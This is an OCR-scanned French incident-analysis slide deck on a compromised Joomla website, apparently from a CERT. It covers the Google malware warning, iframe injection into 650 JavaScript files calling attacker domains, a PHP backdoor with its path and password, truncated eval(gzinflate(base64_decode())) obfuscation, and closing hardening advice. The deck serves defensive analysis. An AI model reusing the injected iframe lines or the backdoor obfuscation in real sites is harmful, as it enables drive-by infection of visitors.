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1: Analyse d’une compromission web

CILTST 11 pétection

< Google indigue que le site web est dangereux

Avertissement : Programme malveillant

- » © |e

| [B- Googte Ll s ©- & B-

Avertissement- Attention, I'acces a ce site risque d'endommager votre ordinateur.

retox >
Page de diagnostic de navigation sécuris...
Suggestions : - 2 @ @ ¢ - Google

» Accédez a la page précédente €
« Modifiez votre recherche pour tre:

Navigation sécurisée C le
Vous pouvez également accéder a Page de diagnostic pour’ Avis fourni par (LOOGIC
informations détaillées surles problén
page de diagnostic de la Navigation s

Quel est I'état actuel du site ?
Pour plus d'informations sur la fagon d Ce site est répertorié comme suspect. Une visite sur celui-ci peut endommager votre ordinateur.

consultez le site StopBadware org.
Une activité suspecte sur une partie de ce site a été détectée 2 fois au cours des 90 demiers

Sivous étes le propriétaire de ce site, Jours.
Qutils pour les webmasters. Pour plus
Centre d'aide des webmasters de Go Que s'est.il passé lors de la visite de ce site par le robot Google ?
Sur les 2 pages du site que nous avons testées au cours des 90 demiers jours, un certain
Avertissement fourni par GOOGlE nombre (2) entrainait fe 1616 el de logiciels sans
Fautorisation de l'utilisateur. La demiére visite effectuée par le robot Google sur ce site a eu lieu
le . et le demier contenu suspect sur celui-ci a été détecté le
Des logiciels malveillants sont hébergés sur 1 . y compris ofud cony
Ce site était hébergé sur 1 réseau(x), y compris AS|
Ce site a-t-il servi d'intermédiaire pour favoriser la ion de logiciels il R 2
Au cours des 90 derniers jours, ne semble pas avoir sem dintermédiaire

e
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Non, ce site n'a hébergé aucun logiciel malveillant au cours des 90 demiers jours




(Ertst 4, Analyse = Constats

< 650 fichiers « .js » du site web ont été infectés

document.write ('<iframe src="http://google.com" scrolling="auto«
frameborder="no" align="center" height="11" width="11"></iframe>');

< Toutes les 30 minutes les fichiers sont ré-infectés

21:10:59 : <iframe src="http://eisczfg.freewww.info/facebook.cgi?8
22:25:23 : <iframe src="http://jevvke.pcanywhere.net/facebook.cgi?8
22:57:47 : <iframe src="http://kxsgd.ddns.info/facebook.cgi?8:

23:16:36 : <iframe src="http://ocaiudvzrx.myftp.name/facebook.cgi?8

» Le but est d’infecter les visiteurs du site web infecté (drive-by download)

< Une backdoor est trouvée sur le site

» limages/banners/.lib_doyoa8.php

» Mot de passe : )GJKGqGZ
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(Ertst 45 Analyse & Encodage de la backdoor

“ preg_replace("/.*/e","\x65\x76\x61 [...]
\x20\x28'5b19fxqg3 [...]'\x29\x29\x20\x29\x20\x3b",".") ;%>

“ eval ( gzinflate ( base64 decode ('5b19fxqg3 [...1")) ) ;

% eval ( gzinflate ( baseﬁd_d.ecode ('78e5rx4 [...1"'))):;

H<2php
$color = "E4AEET;

W R

El fauth _pass = °
3 $auth_pass = "
$default_action

9 @ini_set|'er
10 @ini_set ('
11 @ini_set|'m=
12 @set_time limit(0);

13 @set_magic gquote

Computer Emerg 14 @define ( "WS0_W
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(eresr 45 Analyse = Observation

< Toutes les 30 minutes un script PHP est envoyé a la backdoor

< L’analyse de log ne permet pas d’identifier formellement la
méthode d’infection
» Brute-force sur l'interface d’administration ?

» Vulnérabilité dans le plugin JCE de Joomla ? (file upload)
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@I‘tl\l 1.3 - Remise en service

< |l est décidé d’'un plan d’éradication de I'infection

< Mais, avant le TO, le pirate opére un mouvement de repli :
~ Il nettoie lui-méme les fichiers infectés ©
» Ets’enva (en laissant sa backdoor ...)

< Le pirate préféere abandonner sa victime
plutét que de mettre en danger son infrastructure.
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@tl” 1.4 - Conclusions

< L’attaquant est professionnel
~ Il nintroduit pas de dysfonctionnements (discrétion, non détection)
» Il'a un plan d’action prédéfini (campagne, actions de replis)

< |l utilise les mémes outils que les amateurs ... mais « bien » !
~ Backdoor connue ....
» ... Pilotée par des scripts PHP de bonne qualité

~ Actions automatisées (scan, compromission, campagne d’infection, etc...)
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2. Les faiblesses le plus souvent
constatées




@Lt“"' Constats /

< 100% des attaques analysées utilisent des faiblesses connues

» Vulnérabilités connues (et correctifs non appliqués)
» Mots de passe triviaux sur des comptes administrateurs

Si les sites web ne sont pas mis a jour, ils seront compromis !

< Certaines architectures n’ont pas été congues en prenant en

compte la sécurité
~ Pas de cloisonnement entre les sites web hébergés sur une méme machine (pas
de « chroot », le méme « uid » pour tous les sites)
» L’interface d’administration n’est pas protégée
= Fonctions « back-office » accessible depuis Internet, sans restriction.

Un audit intrusif a-t-il inclus dans son périmétre ce « back-office »....
... ainsi que les autres sites hébergés sur la méme machine ?
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CrCUS"  Recommandations

< Les sites web doivent étre maintenus a jour en termes

de correctifs de sécurité
» Mise a jour réguliére des serveurs (Apache, 11S) et des frameworks

sous-jacents (Joomla, Symphony, RubyOnRail, Java, .Net, etc..)
< Empécher ou détecter les attaques connues
~ WAF / IDS [/ Antivirus

< |Isoler pour éviter la conséquence d’'une compromission
» Autoriser uniquement le HTTP et HTTPS en entrée

» Et tout interdire en sortie
(ce qui implique que les flux DNS et mail passent par des infra DMZ

dédiées)

< Conserver les logs et analyser les incidents de sécurité
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